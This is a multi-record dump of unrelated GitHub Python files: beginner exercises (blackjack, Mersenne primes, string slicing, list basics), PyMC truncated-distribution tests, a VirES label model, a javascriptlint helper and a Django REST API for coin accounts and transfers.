player_1_start.current_points()\r\nprint(player_one_points)\r\nplayer_turn =player_1_start.user_choice()\r\ndealers_deck= player_1_start.final_deck()\r\n\r\ndealers_deck_turn= Dealer(cards_of_dealer,dealers_deck,deck_for_player_one)\r\ndealer_score = dealers_deck_turn.dealers_turn()\r\n\r\nprint(dealer_score)\r\n\r\nif dealers_deck == 'Bust':\r\n BankAccount(dealer_balance=gamble,player_balance=0)\r\n print(f'dealer has won ${moneys.money}')\r\nelif (dealer_score =='Bust') or (dealer_score >21):\r\n BankAccount(dealer_balance=0,player_balance=gamble)\r\n print(f'the player has won ${moneys.money}')\r\nelif dealer_score> player_one_points:\r\n BankAccount(dealer_balance=gamble,player_balance=0)\r\n print(f'dealer has won ${moneys.money}')\r\nelif player_one_points> dealer_score:\r\n BankAccount(dealer_balance=0,player_balance=gamble)\r\n print(f'the player has won ${moneys.money}')\r\n ","repo_name":"mariahwaslie/Blackjack","sub_path":"Black jack.py","file_name":"Black jack.py","file_ext":"py","file_size_in_byte":8155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"1095032653","text":"# 找第n个默尼森数。P是素数且M也是素数,并且满足等式M=2^P-1,则称M为默尼森数。\n# 例如,P=5,M=2^P-1=31,5和31都是素数,因此31是默尼森数。\n\nimport math\ndef prime(num):\n\tzz = [2]\n\tk = math.sqrt(num)\n\tfor i in range(3, int(k+1), 2):\n\t\tif num % i ==0:\n\t\t\treturn False\n\treturn num\n\ndef monisen(no):\n\ty1 = [2]\n\ta = 3\n\twhile True :\n\t\tP = prime(a)\n\t\tif P == False:\n\t\t\ta = a+ 2\n\t\t\tcontinue\n\t\tM = 2**P-1\n\t\tif prime(M) == False:\n\t\t\ta = a+2\n\t\telse:\n\t\t\ty1.append(M)\n\t\t\ta = a+2\n\t\tif len(y1) == no:\n\t\t\tbreak\n\treturn y1[-1]\n\nprint(monisen(int(input())))","repo_name":"cxyluxixi/origin","sub_path":"python-practice/python-2018/python基础练习/imooc-练习python/p20181002-默尼森数.py","file_name":"p20181002-默尼森数.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"72092811633","text":"class uraiRajutKata:\n def urai(self, kata):\n str_tampung = ''\n b = len(kata)\n for i in range(b):\n a=0 \n for a in range(i+1): \n str_tampung = str_tampung + kata[a]\n return str_tampung\n\n def rajut(self, kata_uraian):\n str_tampung = '' \n panjangKata = len(kata_uraian)\n angkaTotal = 0\n pengulangan = 0\n penambah = 1\n while angkaTotal <= len(kata_uraian): \n if angkaTotal != len(kata_uraian): \n pengulangan += 1 \n angkaTotal = angkaTotal + penambah \n penambah += 1\n else:\n angkaTotal = angkaTotal + penambah\n \n for i in range(panjangKata-1, panjangKata-pengulangan-1, -1): \n str_tampung = kata_uraian[i] + str_tampung\n return str_tampung\n\n\n\nx = uraiRajutKata() \n\nprint(x.urai('Code'))\nprint(x.urai('Python'))\nprint(x.urai('Purwadhika'))\n\nprint(x.rajut('CCoCodCode'))\nprint(x.rajut('PPyPytPythPythoPython'))\nprint(x.rajut('PPuPurPurwPurwaPurwadPurwadhPurwadhiPurwadhikPurwadhika'))","repo_name":"glengunawan/Ujian_UraiRajutKata","sub_path":"1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"4573035812","text":"from logging import getLogger, LoggerAdapter\nfrom numpy import full\nfrom vires.util import pretty_list\nfrom vires.cdf_util import CDF_CHAR_TYPE\nfrom vires.dataset import Dataset\nfrom .base import Model\n\n\nclass Label(Model):\n \"\"\" Simple no input model-like class adding constant label to all dataset\n records.\n \"\"\"\n\n class _LoggerAdapter(LoggerAdapter):\n def process(self, msg, kwargs):\n return 'Label: %s' % msg, kwargs\n\n def __init__(self, variable, label, string_size=1,\n description=None, unit=None,\n logger=None, varmap=None):\n super().__init__()\n self._variable = variable\n self._label = str(label)[:string_size]\n self._description = description or \"\"\n self._unit = unit or \"-\"\n self._dtype = \"|S%d\" % string_size\n self.logger = self._LoggerAdapter(logger or getLogger(__name__), {})\n\n @property\n def required_variables(self):\n return []\n\n @property\n def variables(self):\n return [self._variable]\n\n def eval(self, dataset, variables=None, **kwargs):\n output_ds = Dataset()\n variables = (\n self.variables if variables is None or self._variable in variables\n else []\n )\n self.logger.debug(\"requested variables: %s\", pretty_list(variables))\n if variables:\n labels = full(dataset.length, self._label, self._dtype)\n output_ds.set(self._variable, labels, CDF_CHAR_TYPE, {\n 'DESCRIPTION': self._description,\n 'UNITS': self._unit,\n })\n self.logger.debug(\"%s: %s\", self._variable, self._label)\n return output_ds\n\n\nclass SpacecraftLabel(Label):\n \"\"\" Add spacecraft label. \"\"\"\n VARIABLE = \"Spacecraft\"\n DESCRIPTION = (\n \"Spacecraft identifier (values: 'A', 'B', 'C' or '-' if not available).\"\n )\n\n class _LoggerAdapter(LoggerAdapter):\n def process(self, msg, kwargs):\n return 'SpacecraftLabel: %s' % msg, kwargs\n\n def __init__(self, label, logger=None, varmap=None):\n Label.__init__(\n self, self.VARIABLE, label, 1, description=self.DESCRIPTION,\n unit=\"-\", logger=logger, varmap=varmap\n )\n","repo_name":"ESA-VirES/VirES-Server","sub_path":"vires/vires/processes/util/models/label.py","file_name":"label.py","file_ext":"py","file_size_in_byte":2243,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"39"} +{"seq_id":"23757150099","text":"import numpy as np\nimport pytensor\nimport pytensor.tensor as pt\nimport pytest\nimport scipy\n\nfrom pytensor.tensor.random.basic import GeometricRV, NormalRV\n\nfrom pymc import Censored, Model, draw, find_MAP\nfrom pymc.distributions.continuous import Exponential, Gamma, TruncatedNormalRV\nfrom pymc.distributions.shape_utils import change_dist_size\nfrom pymc.distributions.transforms import _default_transform\nfrom pymc.distributions.truncated import Truncated, TruncatedRV, _truncated\nfrom pymc.exceptions import TruncationError\nfrom pymc.logprob.abstract import _icdf\nfrom pymc.logprob.basic import logcdf, logp\nfrom pymc.logprob.transforms import IntervalTransform\nfrom pymc.logprob.utils import ParameterValueError\nfrom pymc.testing import assert_moment_is_expected\n\n\nclass IcdfNormalRV(NormalRV):\n \"\"\"Normal RV that has icdf but not truncated dispatching\"\"\"\n\n\nclass RejectionNormalRV(NormalRV):\n \"\"\"Normal RV that has neither icdf nor truncated dispatching.\"\"\"\n\n\nclass IcdfGeometricRV(GeometricRV):\n \"\"\"Geometric RV that has icdf but not truncated dispatching.\"\"\"\n\n\nclass RejectionGeometricRV(GeometricRV):\n \"\"\"Geometric RV that has neither icdf nor truncated dispatching.\"\"\"\n\n\nicdf_normal = no_moment_normal = IcdfNormalRV()\nrejection_normal = RejectionNormalRV()\nicdf_geometric = IcdfGeometricRV()\nrejection_geometric = RejectionGeometricRV()\n\n\n@_truncated.register(IcdfNormalRV)\n@_truncated.register(RejectionNormalRV)\n@_truncated.register(IcdfGeometricRV)\n@_truncated.register(RejectionGeometricRV)\ndef _truncated_not_implemented(*args, **kwargs):\n raise NotImplementedError()\n\n\n@_icdf.register(RejectionNormalRV)\n@_icdf.register(RejectionGeometricRV)\ndef _icdf_not_implemented(*args, **kwargs):\n raise NotImplementedError()\n\n\n@pytest.mark.parametrize(\"shape_info\", (\"shape\", \"dims\", \"observed\"))\ndef test_truncation_specialized_op(shape_info):\n rng = pytensor.shared(np.random.default_rng())\n x = pt.random.normal(0, 10, rng=rng, name=\"x\")\n\n with Model(coords={\"dim\": range(100)}) as m:\n if shape_info == \"shape\":\n xt = Truncated(\"xt\", dist=x, lower=5, upper=15, shape=(100,))\n elif shape_info == \"dims\":\n xt = Truncated(\"xt\", dist=x, lower=5, upper=15, dims=(\"dim\",))\n elif shape_info == \"observed\":\n xt = Truncated(\n \"xt\",\n dist=x,\n lower=5,\n upper=15,\n observed=np.zeros(100),\n )\n else:\n raise ValueError(f\"Not a valid shape_info parametrization: {shape_info}\")\n\n assert isinstance(xt.owner.op, TruncatedNormalRV)\n assert xt.shape.eval() == (100,)\n\n # Test RNG is not reused\n assert xt.owner.inputs[0] is not rng\n\n lower_upper = pt.stack(xt.owner.inputs[5:])\n assert np.all(lower_upper.eval() == [5, 15])\n\n\n@pytest.mark.parametrize(\"lower, upper\", [(-1, np.inf), (-1, 1.5), (-np.inf, 1.5)])\n@pytest.mark.parametrize(\"op_type\", [\"icdf\", \"rejection\"])\n@pytest.mark.parametrize(\"scalar\", [True, False])\ndef test_truncation_continuous_random(op_type, lower, upper, scalar):\n loc = 0.15\n scale = 10\n normal_op = icdf_normal if op_type == \"icdf\" else rejection_normal\n x = normal_op(loc, scale, name=\"x\", size=() if scalar else (100,))\n\n xt = Truncated.dist(x, lower=lower, upper=upper)\n assert isinstance(xt.owner.op, TruncatedRV)\n assert xt.type.dtype == x.type.dtype\n\n xt_draws = draw(xt, draws=5)\n assert np.all(xt_draws >= lower)\n assert np.all(xt_draws <= upper)\n assert np.unique(xt_draws).size == xt_draws.size\n\n # Compare with reference\n ref_xt = scipy.stats.truncnorm(\n (lower - loc) / scale,\n (upper - loc) / scale,\n loc,\n scale,\n )\n assert scipy.stats.cramervonmises(xt_draws.ravel(), ref_xt.cdf).pvalue > 0.001\n\n # Test max_n_steps\n xt = Truncated.dist(x, lower=lower, upper=upper, max_n_steps=1)\n if op_type == \"icdf\":\n xt_draws = draw(xt)\n assert np.all(xt_draws >= lower)\n assert np.all(xt_draws <= upper)\n assert np.unique(xt_draws).size == xt_draws.size\n else:\n with pytest.raises(TruncationError, match=\"^Truncation did not converge\"):\n draw(xt, draws=100 if scalar else 1)\n\n\n@pytest.mark.parametrize(\"lower, upper\", [(-1, np.inf), (-1, 1.5), (-np.inf, 1.5)])\n@pytest.mark.parametrize(\"op_type\", [\"icdf\", \"rejection\"])\ndef test_truncation_continuous_logp(op_type, lower, upper):\n loc = 0.15\n scale = 10\n op = icdf_normal if op_type == \"icdf\" else rejection_normal\n\n x = op(loc, scale, name=\"x\")\n xt = Truncated.dist(x, lower=lower, upper=upper)\n assert isinstance(xt.owner.op, TruncatedRV)\n\n xt_vv = xt.clone()\n xt_logp_fn = pytensor.function([xt_vv], logp(xt, xt_vv))\n\n ref_xt = scipy.stats.truncnorm(\n (lower - loc) / scale,\n (upper - loc) / scale,\n loc,\n scale,\n )\n for bound in (lower, upper):\n if np.isinf(bound):\n return\n for offset in (-1, 0, 1):\n test_xt_v = bound + offset\n assert np.isclose(xt_logp_fn(test_xt_v), ref_xt.logpdf(test_xt_v))\n\n\n@pytest.mark.parametrize(\"lower, upper\", [(-1, np.inf), (-1, 1.5), (-np.inf, 1.5)])\n@pytest.mark.parametrize(\"op_type\", [\"icdf\", \"rejection\"])\ndef test_truncation_continuous_logcdf(op_type, lower, upper):\n loc = 0.15\n scale = 10\n op = icdf_normal if op_type == \"icdf\" else rejection_normal\n\n x = op(loc, scale, name=\"x\")\n xt = Truncated.dist(x, lower=lower, upper=upper)\n assert isinstance(xt.owner.op, TruncatedRV)\n\n xt_vv = xt.clone()\n xt_logcdf_fn = pytensor.function([xt_vv], logcdf(xt, xt_vv))\n\n ref_xt = scipy.stats.truncnorm(\n (lower - loc) / scale,\n (upper - loc) / scale,\n loc,\n scale,\n )\n for bound in (lower, upper):\n if np.isinf(bound):\n return\n for offset in (-1, 0, 1):\n test_xt_v = bound + offset\n assert np.isclose(xt_logcdf_fn(test_xt_v), ref_xt.logcdf(test_xt_v))\n\n\n@pytest.mark.parametrize(\"lower, upper\", [(2, np.inf), (2, 5), (-np.inf, 5)])\n@pytest.mark.parametrize(\"op_type\", [\"icdf\", \"rejection\"])\ndef test_truncation_discrete_random(op_type, lower, upper):\n p = 0.2\n geometric_op = icdf_geometric if op_type == \"icdf\" else rejection_geometric\n\n x = geometric_op(p, name=\"x\", size=500)\n xt = Truncated.dist(x, lower=lower, upper=upper)\n assert isinstance(xt.owner.op, TruncatedRV)\n\n xt_draws = draw(xt)\n assert np.all(xt_draws >= lower)\n assert np.all(xt_draws <= upper)\n assert np.any(xt_draws == (max(1, lower)))\n if upper != np.inf:\n assert np.any(xt_draws == upper)\n\n # Test max_n_steps\n xt = Truncated.dist(x, lower=lower, upper=upper, max_n_steps=3)\n if op_type == \"icdf\":\n xt_draws = draw(xt)\n assert np.all(xt_draws >= lower)\n assert np.all(xt_draws <= upper)\n assert np.any(xt_draws == (max(1, lower)))\n if upper != np.inf:\n assert np.any(xt_draws == upper)\n else:\n with pytest.raises(TruncationError, match=\"^Truncation did not converge\"):\n # Rejections sampling with probability = (1 - p ** max_n_steps) ** sample_size =\n # = (1 - 0.2 ** 3) ** 500 = 0.018\n # Still, this probability can be too high to make this test pass with any seed.\n draw(xt, random_seed=2297228)\n\n\n@pytest.mark.parametrize(\"lower, upper\", [(2, np.inf), (2, 5), (-np.inf, 5)])\n@pytest.mark.parametrize(\"op_type\", [\"icdf\", \"rejection\"])\ndef test_truncation_discrete_logp(op_type, lower, upper):\n p = 0.7\n op = icdf_geometric if op_type == \"icdf\" else rejection_geometric\n\n x = op(p, name=\"x\")\n xt = Truncated.dist(x, lower=lower, upper=upper)\n assert isinstance(xt.owner.op, TruncatedRV)\n\n xt_vv = xt.clone()\n xt_logp_fn = pytensor.function([xt_vv], logp(xt, xt_vv))\n\n ref_xt = scipy.stats.geom(p)\n log_norm = np.log(ref_xt.cdf(upper) - ref_xt.cdf(lower - 1))\n\n def ref_xt_logpmf(value):\n if value < lower or value > upper:\n return -np.inf\n return ref_xt.logpmf(value) - log_norm\n\n for bound in (lower, upper):\n if np.isinf(bound):\n continue\n for offset in (-1, 0, 1):\n test_xt_v = bound + offset\n assert np.isclose(xt_logp_fn(test_xt_v), ref_xt_logpmf(test_xt_v))\n\n # Check that it integrates to 1\n log_integral = scipy.special.logsumexp([xt_logp_fn(v) for v in range(min(upper + 1, 20))])\n assert np.isclose(log_integral, 0.0, atol=1e-5)\n\n\n@pytest.mark.parametrize(\"lower, upper\", [(2, np.inf), (2, 5), (-np.inf, 5)])\n@pytest.mark.parametrize(\"op_type\", [\"icdf\", \"rejection\"])\ndef test_truncation_discrete_logcdf(op_type, lower, upper):\n p = 0.7\n op = icdf_geometric if op_type == \"icdf\" else rejection_geometric\n\n x = op(p, name=\"x\")\n xt = Truncated.dist(x, lower=lower, upper=upper)\n assert isinstance(xt.owner.op, TruncatedRV)\n\n xt_vv = xt.clone()\n xt_logcdf_fn = pytensor.function([xt_vv], logcdf(xt, xt_vv))\n\n ref_xt = scipy.stats.geom(p)\n log_norm = np.log(ref_xt.cdf(upper) - ref_xt.cdf(lower - 1))\n\n def ref_xt_logcdf(value):\n if value < lower:\n return -np.inf\n elif value > upper:\n return 0.0\n\n return np.log(ref_xt.cdf(value) - ref_xt.cdf(lower - 1)) - log_norm\n\n for bound in (lower, upper):\n if np.isinf(bound):\n continue\n for offset in (-1, 0, 1):\n test_xt_v = bound + offset\n assert np.isclose(xt_logcdf_fn(test_xt_v), ref_xt_logcdf(test_xt_v))\n\n\ndef test_truncation_exceptions():\n with pytest.raises(ValueError, match=\"lower and upper cannot both be None\"):\n Truncated.dist(pt.random.normal())\n\n # Truncation does not work with SymbolicRV inputs\n with pytest.raises(\n NotImplementedError,\n match=\"Truncation not implemented for SymbolicRandomVariable CensoredRV\",\n ):\n Truncated.dist(Censored.dist(pt.random.normal(), lower=-1, upper=1), -1, 1)\n\n with pytest.raises(\n NotImplementedError,\n match=\"Truncation not implemented for multivariate distributions\",\n ):\n Truncated.dist(pt.random.dirichlet([1, 1, 1]), -1, 1)\n\n\ndef test_truncation_logprob_bound_check():\n x = pt.random.normal(name=\"x\")\n xt = Truncated.dist(x, lower=5, upper=-5)\n with pytest.raises(ParameterValueError):\n logp(xt, 0).eval()\n\n\ndef test_change_truncated_size():\n x = Truncated.dist(icdf_normal(0, [1, 2, 3]), lower=-1, size=(2, 3))\n x.eval().shape == (2, 3)\n\n new_x = change_dist_size(x, (4, 3))\n assert isinstance(new_x.owner.op, TruncatedRV)\n new_x.eval().shape == (4, 3)\n\n new_x = change_dist_size(x, (4, 3), expand=True)\n assert isinstance(new_x.owner.op, TruncatedRV)\n new_x.eval().shape == (4, 3, 2, 3)\n\n\ndef test_truncated_default_transform():\n base_dist = rejection_geometric(1)\n x = Truncated.dist(base_dist, lower=None, upper=5)\n assert _default_transform(x.owner.op, x) is None\n\n base_dist = rejection_normal(0, 1)\n x = Truncated.dist(base_dist, lower=None, upper=5)\n assert isinstance(_default_transform(x.owner.op, x), IntervalTransform)\n\n\ndef test_truncated_transform_logp():\n with Model() as m:\n base_dist = rejection_normal(0, 1)\n x = Truncated(\"x\", base_dist, lower=0, upper=None, transform=None)\n y = Truncated(\"y\", base_dist, lower=0, upper=None)\n logp_eval = m.compile_logp(sum=False)({\"x\": -1, \"y_interval__\": -1})\n assert logp_eval[0] == -np.inf\n assert np.isfinite(logp_eval[1])\n\n\n@pytest.mark.parametrize(\n \"truncated_dist, lower, upper, shape, expected\",\n [\n # Moment of truncated dist can be used\n (icdf_normal(0, 1), -1, 2, None, 0),\n # Moment of truncated dist cannot be used, both bounds are finite\n (icdf_normal(3, 1), -1, 2, (2,), np.full((2,), 3 / 2)),\n # Moment of truncated dist cannot be used, lower bound is finite\n (icdf_normal(-3, 1), -1, None, (2, 3), np.full((2, 3), 0)),\n # Moment of truncated dist can be used for 1st and 3rd mus, upper bound is finite\n (icdf_normal([0, 3, 3], 1), None, [2, 2, 4], (4, 3), np.full((4, 3), [0, 1, 3])),\n ],\n)\ndef test_truncated_moment(truncated_dist, lower, upper, shape, expected):\n with Model() as model:\n Truncated(\"x\", dist=truncated_dist, lower=lower, upper=upper, shape=shape)\n assert_moment_is_expected(model, expected)\n\n\ndef test_truncated_inference():\n # exercise 3.3, p 47, from David MacKay Information Theory book\n lam_true = 3\n lower = 0\n upper = 5\n\n rng = np.random.default_rng(260)\n x = rng.exponential(lam_true, size=5000)\n obs = x[np.where(~((x < lower) | (x > upper)))] # remove values outside range\n\n with Model() as m:\n lam = Exponential(\"lam\", lam=1 / 5) # prior exponential with mean of 5\n Truncated(\n \"x\",\n dist=Exponential.dist(lam=1 / lam),\n lower=lower,\n upper=upper,\n observed=obs,\n )\n\n map = find_MAP(progressbar=False)\n\n assert np.isclose(map[\"lam\"], lam_true, atol=0.1)\n\n\ndef test_truncated_gamma():\n # Regression test for https://github.com/pymc-devs/pymc/issues/6931\n alpha = 3.0\n beta = 3.0\n upper = 2.5\n x = np.linspace(0.0, upper + 0.5, 100)\n\n gamma_scipy = scipy.stats.gamma(a=alpha, scale=1.0 / beta)\n logp_scipy = gamma_scipy.logpdf(x) - gamma_scipy.logcdf(upper)\n logp_scipy[x > upper] = -np.inf\n\n gamma_trunc_pymc = Truncated.dist(\n Gamma.dist(alpha=alpha, beta=beta),\n upper=upper,\n )\n logp_pymc = logp(gamma_trunc_pymc, x).eval()\n np.testing.assert_allclose(\n logp_pymc,\n logp_scipy,\n )\n\n # Changing the size used to invert the beta Gamma parameter again\n resized_gamma_trunc_pymc = change_dist_size(gamma_trunc_pymc, new_size=x.shape)\n logp_resized_pymc = logp(resized_gamma_trunc_pymc, x).eval()\n np.testing.assert_allclose(\n logp_resized_pymc,\n logp_scipy,\n )\n","repo_name":"pymc-devs/pymc","sub_path":"tests/distributions/test_truncated.py","file_name":"test_truncated.py","file_ext":"py","file_size_in_byte":14028,"program_lang":"python","lang":"en","doc_type":"code","stars":7882,"dataset":"github-code","pt":"39"} +{"seq_id":"27124338835","text":"# vim: ts=4 sw=4 expandtab\r\nfrom .parser import kind as tok\r\n\r\ndef numeric_property_str(node):\r\n assert node.kind == tok.NUMBER\r\n if node.atom.startswith('0x'):\r\n value = int(node.atom, 16)\r\n else:\r\n value = float(node.atom)\r\n if value.is_integer():\r\n value = int(value)\r\n return str(value)\r\n\r\ndef object_property_str(node):\r\n assert node.kind == tok.COLON\r\n\r\n left, right = node.kids\r\n while left.kind == tok.RP:\r\n left, = left.kids\r\n if left.kind == tok.NUMBER:\r\n return numeric_property_str(left)\r\n\r\n assert left.kind in (tok.STRING, tok.NAME)\r\n return left.atom\r\n\r\n","repo_name":"matthiasmiller/javascriptlint","sub_path":"jsengine/js_util.py","file_name":"js_util.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"39"} +{"seq_id":"12641994840","text":"n = int(input())\r\na = [int(f) for f in input().split()]\r\nb = sorted(a)\r\nt = True\r\nx = len(a)\r\ni=0\r\nwhile x>0:\r\n if a[i]!=b[i]: \r\n t = False\r\n break\r\n x-=1\r\n i+=1\r\n \r\nif t: print(\"Interesting\")\r\nelse: print(\"Not interesting\")\r\n#Muratbek is fond of interesting arrays. He has an array a1, a2, ..., an of n integers. Your task is to check\r\n#whether his array is interesting or not.\r\n#An array is called interesting if all elements of the array are sorted in non-decreasing order. Formally, for\r\n#each pair of indexes i and j, such that 1 ≤ i < j ≤ n, following inequality holds: ai ≤ aj .","repo_name":"Nurayend/pp2","sub_path":"midB/I_Bais.py","file_name":"I_Bais.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"26295208295","text":"# list = used to store multiple items in a single variable\n# can be changed, mutable\n# it uses []\nfood = [\"pizza\", \"hamburger\", \"hotdog\", \"spaghetti\", \"pudding\"]\nfood[0] = \"sushi\"\nfood.append(\"ice crean\")\nfood.remove()(\"hetdog\")\nfood.pop()\nfood.insert(0, \"cake\")\nfood.sort()\n# food.clear()\n\nfor x in food:\n print(x)\n","repo_name":"samerkhateeb/Python-Tips-Tricks","sub_path":"list_.py","file_name":"list_.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"31707251479","text":"import json\nfrom decimal import *\n\nfrom django.db import transaction\nfrom django.db.models import Q\nfrom django.shortcuts import get_object_or_404\nfrom django_filters.rest_framework import DjangoFilterBackend\nfrom rest_framework import permissions, generics, status, viewsets, filters\nfrom rest_framework.decorators import detail_route, list_route\nfrom rest_framework.response import Response\n\nfrom callback_functions.transfer_callback import transfer_callback\nfrom .serializer import *\n\n\nclass RegisterView(generics.CreateAPIView):\n \"\"\"\n Create User\n \"\"\"\n permission_classes = (permissions.AllowAny,)\n queryset = User.objects.all()\n serializer_class = UserSerializer\n\n @transaction.atomic\n def post(self, request):\n serializer = UserSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass UserViewSet(viewsets.ReadOnlyModelViewSet):\n permission_classes = (permissions.IsAuthenticated,)\n serializer_class = UserSerializer\n\n def get_queryset(self):\n return User.objects.filter(pk=self.request.user.id)\n\n\nclass AccountViewSet(viewsets.ReadOnlyModelViewSet):\n permission_classes = (permissions.IsAuthenticated,)\n serializer_class = AccountSerializer\n\n def get_queryset(self):\n return Account.objects.filter(user=self.request.user)\n\n\nclass EthAccountViewSet(viewsets.ReadOnlyModelViewSet):\n permission_classes = (permissions.IsAuthenticated,)\n serializer_class = EthAccountSerializer\n\n def get_queryset(self):\n return EthAccount.objects.filter(user=self.request.user)\n\n @detail_route()\n def get_balance(self, request, pk=None):\n eth_account = get_object_or_404(EthAccount, address=pk)\n address = pk\n\n # Get UTCoin balance\n num_suffix = 1000\n w3 = Web3(HTTPProvider(settings.WEB3_PROVIDER))\n eth_balance = w3.fromWei(w3.eth.getBalance(address), 'ether')\n abi = self.load_abi(settings.ARTIFACT_PATH)\n UTCoin = w3.eth.contract(abi=abi, address=settings.UTCOIN_ADDRESS)\n balance_int = UTCoin.call().balanceOf(address)\n balance = float(balance_int / num_suffix)\n\n context = {\n 'address': address,\n 'eth_balance': eth_balance,\n 'balance': balance,\n 'balance_int': balance_int\n }\n return Response(context)\n\n @detail_route()\n def get_qrcode(self, request, pk=None):\n eth_account = get_object_or_404(EthAccount, address=pk)\n address = pk\n eth_qrcode = eth_account.qrcode\n\n if not eth_qrcode:\n # Generate QR code\n img = qrcode.make(address)\n file_name = address + '.png'\n file_path = '/images/qrcode/' + file_name\n img.save(settings.MEDIA_ROOT + file_path)\n eth_account.qrcode = file_path\n eth_account.save()\n eth_qrcode = eth_account.qrcode\n\n context = {\n 'address': address,\n 'qrcode_url': eth_qrcode.url\n }\n return Response(context)\n\n @staticmethod\n def load_abi(file_path):\n \"\"\"\n :param str file_path:\n :return dict: abi\n \"\"\"\n artifact = open(file_path, 'r')\n json_dict = json.load(artifact)\n abi = json_dict['abi']\n return abi\n\n\nclass TransactionViewSet(viewsets.ReadOnlyModelViewSet):\n permission_classes = (permissions.IsAuthenticated,)\n serializer_class = TransactionSerializer\n filter_backends = (DjangoFilterBackend, filters.OrderingFilter)\n filter_fields = ('from_address', 'to_address', 'amount', 'is_active', 'created_at')\n ordering_fields = ('id', 'amount', 'created_at')\n\n def get_queryset(self):\n address = self.request.user.account.address\n return Transaction.objects.filter(Q(from_address=address) | Q(to_address=address))\n\n @list_route(methods=['post'])\n @transaction.atomic\n def transfer(self, request):\n from_account = request.user.account\n\n # Receive params\n body = json.loads(request.body)\n to_address = body['address']\n amount = body['amount']\n if not (to_address and amount):\n error_msg = 'アドレスまたは金額が入力されていません。'\n print('Error:', error_msg)\n context = {\n 'success': False,\n 'detail': error_msg\n }\n return Response(context)\n\n # Validate address\n if not self.is_ut_address(to_address):\n error_msg = '無効なアドレスです。'\n print('Error:', error_msg)\n context = {\n 'success': False,\n 'detail': error_msg\n }\n return Response(context)\n\n amount = Decimal(amount)\n to_account = Account.objects.get(address=to_address)\n\n # Validate amount\n if from_account.balance < amount:\n error_msg = '送金可能額を超えています。'\n print('Error:', error_msg)\n context = {\n 'success': False,\n 'detail': error_msg\n }\n return Response(context)\n\n # UTCoin 送金\n with transaction.atomic():\n from_account.balance -= amount\n to_account.balance += amount\n from_account.save()\n to_account.save()\n\n # Create Transaction\n tx = Transaction.objects.create(\n from_address=from_account.address,\n to_address=to_address,\n amount=amount\n )\n\n # TODO: コントラクト実行\n # try:\n # transfer_callback(tx_hash, from_address, to_address, amount_int, amount)\n # except Exception as e:\n # print(e)\n # error_msg = 'コールバック処理に失敗しました。'\n # print('Error:', error_msg)\n #\n # else:\n # error_msg = 'アカウントのアンロックに失敗しました。'\n # print('Error:', error_msg)\n # context = {\n # 'success': False,\n # 'detail': error_msg\n # }\n # return Response(context)\n\n context = {\n 'success': True,\n 'transaction': TransactionSerializer(tx).data\n }\n return Response(context, status=status.HTTP_201_CREATED)\n\n @staticmethod\n def is_ut_address(address):\n \"\"\"\n :param str address:\n :return bool:\n \"\"\"\n if address[0:2] == 'UT' and len(address) == 42:\n if Account.objects.filter(address=address).exists():\n return True\n return False\n\n\nclass EthTransactionViewSet(viewsets.ReadOnlyModelViewSet):\n permission_classes = (permissions.IsAuthenticated,)\n serializer_class = EthTransactionSerializer\n filter_backends = (DjangoFilterBackend, filters.OrderingFilter)\n filter_fields = (\n 'tx_hash', 'from_address', 'to_address', 'amount', 'gas', 'gas_price', 'value', 'network_id', 'is_active',\n 'created_at')\n ordering_fields = ('id', 'amount', 'gas', 'gas_price', 'value', 'created_at')\n\n def get_queryset(self):\n eth_account = get_object_or_404(EthAccount, user=self.request.user)\n address = eth_account.address\n return EthTransaction.objects.filter(Q(from_address=address) | Q(to_address=address))\n\n @list_route(methods=['post'])\n @transaction.atomic\n def transfer(self, request):\n eth_account = get_object_or_404(EthAccount, user=request.user)\n from_address = eth_account.address\n num_suffix = 1000\n amount_min = 1 / num_suffix\n fee = 0.001\n\n # Receive params\n body = json.loads(request.body)\n to_address = body['address']\n amount = body['amount']\n if not (to_address and amount):\n error_msg = 'アドレスまたは金額が入力されていません。'\n print('Error:', error_msg)\n context = {\n 'success': False,\n 'detail': error_msg\n }\n return Response(context)\n\n amount = float(amount)\n amount_int = int(amount * num_suffix)\n\n # Validate address\n w3 = Web3(HTTPProvider(settings.WEB3_PROVIDER))\n if not w3.isAddress(to_address):\n error_msg = '無効なアドレスです。'\n print('Error:', error_msg)\n context = {\n 'success': False,\n 'detail': error_msg\n }\n return Response(context)\n\n # Validate amount\n if amount < amount_min:\n error_msg = '金額が不正です。'\n print('Error:', error_msg)\n context = {\n 'success': False,\n 'detail': error_msg\n }\n return Response(context)\n\n # Get UTCoin balance\n abi = self.load_abi(settings.ARTIFACT_PATH)\n UTCoin = w3.eadth.contract(abi=abi, address=settings.UTCOIN_ADDRESS)\n balance = UTCoin.call().balanceOf(from_address)\n\n if balance < amount + fee:\n error_msg = '残高が不足しています。'\n print('Error:', error_msg)\n context = {\n 'success': False,\n 'detail': error_msg\n }\n return Response(context)\n\n # Transfer UTCoin\n if w3.personal.unlockAccount(from_address, eth_account.password, duration=hex(300)):\n try:\n tx_hash = UTCoin.transact({'from': from_address}).transfer(to_address, amount_int)\n\n # Create Transaction\n transaction_info = w3.eth.getTransaction(tx_hash)\n Transaction.objects.create(\n tx_hash=tx_hash,\n from_address=from_address,\n to_address=to_address,\n amount=amount_int,\n gas=transaction_info['gas'],\n gas_price=transaction_info['gasPrice'],\n value=transaction_info['value'],\n network_id=transaction_info['networkId']\n )\n except Exception as e:\n print(e)\n error_msg = 'トランザクションに失敗しました。'\n print('Error:', error_msg)\n context = {\n 'success': False,\n 'detail': error_msg\n }\n return Response(context)\n\n # Execute callback function\n try:\n transfer_callback(tx_hash, from_address, to_address, amount_int, amount)\n except Exception as e:\n print(e)\n error_msg = 